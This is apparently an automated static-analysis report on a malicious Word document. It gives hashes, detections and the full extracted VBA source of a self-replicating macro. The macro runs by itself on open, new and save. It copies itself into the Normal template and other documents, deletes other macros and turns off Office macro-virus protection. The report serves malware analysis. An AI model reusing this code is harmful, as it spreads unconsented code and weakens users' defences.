Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7c5a57a1c204e42…

MALICIOUS

Office (OLE)

51.5 KB Created: 2003-06-17 08:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 343e9cb0884e3283df848810648e8153 SHA-1: 17f9e77e7ab5d5640f6551c66e4a05fa5f7de860 SHA-256: c7c5a57a1c204e42d7ca4189536012d16f52cd38a652cc948b35da7bfe7377fa
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with signatures 'Doc.Trojan.Opey-20' and 'Win.Trojan.C-286'. It contains a legacy WordBasic macro and VBA macros, including an AutoOpen macro, indicating a potential for automated execution upon opening. The extracted VBA script, named 'JiShenhua3', appears to be designed to immunize the system by deleting other macro modules, which is a common tactic used by malware to evade detection or remove competing malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Opey-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-20
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                    NormalTemplate.VBProject.VBComponents(I).CodeModule.DeleteLines 1, LinesofCode
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6920 bytes
SHA-256: 8dd7dc95782f5aed83ea82cea6d315bba2a9080f6977833b4ddb9b3c7f1ae582
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JiShenhua3"
' ------------------------------------------------------------------------------------
' 原作: FoxChit SOFTWARE SOLUTIONS
' 作者: Ulysses R. Gotera
' 程序改进: 冀慎华
' 日期: 2001年3月
' 功能: 该程序把WORD菜单与工具条初始化到原来状态并删除本模块以外的宏模块.
'-------------------------------------------------------------------------------------
Sub Immunize()
On Error Resume Next
    
    Dim DocuName$, OpenDocImmunized As Boolean
    Dim I%, J%, NmImmunized As Boolean
    Dim LinesofCode As Integer
    Dim openDoc As Document
    
    NmImmunized = False
        
    For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
        DocuName = NormalTemplate.VBProject.VBComponents(I).Name
        Select Case DocuName
        Case "JiShenhua3"
            NmImmunized = True
        Case "ThisDocument"
            LinesofCode = NormalTemplate.VBProject.VBComponents(I).CodeModule.CountOfLines
            If LinesofCode > 0 Then
                NormalTemplate.VBProject.VBComponents(I).CodeModule.DeleteLines 1, LinesofCode
            End If
        Case "VirusReport", "JiShenhua" '旧版本杀病毒程序
            Application.OrganizerDelete _
                Source:=NormalTemplate.FullName, Name:=DocuName _
                , Object:=wdOrganizerObjectProjectItems
        Case Else
            msg = "你的 Word 系统中附带有宏程序模块 " + DocuName + _
                ", 极有可能是宏病毒,请选择 '是' 清除该病毒."
            If MsgBox(msg, vbYesNo, "冀慎华向您报告:") = vbYes Then
                Application.OrganizerDelete _
                    Source:=NormalTemplate.FullName, Name:=DocuName _
                    , Object:=wdOrganizerObjectProjectItems
            End If
        End Select
    Next I
    
    For Each openDoc In Documents
        OpenDocImmunized = False
        With openDoc
            For J = openDoc.VBProject.VBComponents.Count To 1 Step -1
                DocuName = openDoc.VBProject.VBComponents(J).Name
                Select Case DocuName
                    Case "JiShenhua3"
                        OpenDocImmunized = True
                    Case "ThisDocument"
                        LinesofCode = openDoc.VBProject.VBComponents(J).CodeModule.CountOfLines
                        If LinesofCode > 0 Then
                            openDoc.VBProject.VBComponents(J).CodeModule.DeleteLines 1, LinesofCode
                        End If
                    Case "Reference to Normal"
                    Case "VirusReport", "JiShenhua" '旧版本杀病毒程序
                        Application.OrganizerDelete Source:=openDoc.FullName, _
                            Name:=DocuName, Object:=wdOrganizerObjectProjectItems
                    Case Else
                        msg = "您的文件 <" + openDoc.Name + "> 中附带有 Word 宏模块 " + DocuName + _
                            ", 极有可能是宏病毒,请选择 '是' 清除该病毒."
                        If MsgBox(msg, vbYesNo, "冀慎华向您报告:") = vbYes Then
                            Application.OrganizerDelete Source:=openDoc.FullName, _
                                Name:=DocuName, Object:=wdOrganizerObjectProjectItems
                        End If
                End Select
            Next J
            
            If Not OpenDocImmunized Then
                Application.OrganizerCopy Source:=NormalTemplate.FullName, _
                Destination:=openDoc.FullName, _
                Name:="JiShenhua3", _
                Object:=wdOrganizerObjectProjectItems
'                If Not openDoc.Saved Then openDoc.SaveAs FileName:=openDoc.FullName
            End If
        End With
    Next openDoc
    
    If Not NmImmunized Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
         Destination:=NormalTemplate.FullName, Name:="JiShenhua3", _
         Object:=wdOrganizerObjectProjectItems
        If Not NormalTemplate.Saved Then NormalTemplate.Save
    End If
    
End Sub
Sub Initialize()
On Error Resume Next
   
   Application.DisplayAlerts = wdAlertsAll
   WordBasic.DisableAutoMacros -1
   
    With Application
        .UserAddress = "冀慎华已为您的机器自动安装了反宏病毒程序,事前未征求您的同意,请见谅."
    End With
    
    With Dialogs(wdDialogFileSummaryInfo)
        .Comments = "该文件已附带了冀慎华编写的反宏病毒程序,事前未征求您的同意,请见谅."
        .Execute
    End With
    
    With Options
        .ConfirmConversions = True
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    
   With CommandBars("Visual Basic")
      .Enabled = True
      .Protection = msoBarTypeMenuBar
      .Protection = msoBarMenuBar
   End With
   
   With CommandBars("Tools")
      .Reset
      .Controls("Macro").Reset
      .Controls("Customize...").Reset
      .Controls("宏(&M)").Reset
      .Controls("自定义(&C)...").Reset
   End With
   
   FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Clear
   FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Clear
   CustomizationContext = NormalTemplate
End Sub
Sub AutoExec()
On Error Resume Next
    Call Initialize
    Call Immunize
End Sub
Sub AutoNew()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileNew).Show
    Call Immunize
End Sub
Sub FileNew()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileNew).Show
    Call Immunize
End Sub
Sub AutoOpen()
On Error Resume Next
   Call Initialize
   Call Immunize
End Sub
Sub FileOpen()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileOpen).Show
    Call Immunize
End Sub
Sub FileSave()
On Error Resume Next
    Call Initialize
    Call Immunize
    If Not ActiveDocument.Saved Then ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileSaveAs).Show
    Call Immunize
End Sub
'Sub FileClose()
'On Error Resume Next
'    Call Initialize
'    Call Immunize
'    If Not ActiveDocument.Saved Then ActiveDocument.Save
'    ActiveDocument.Close
'End Sub
'Sub FileExit()
'On Error Resume Next
'    Call Initialize
'    Call Immunize
'    If Not ActiveDocument.Saved Then ActiveDocument.Save
'    FoxChitForm.Show
'    Application.Quit
'End Sub

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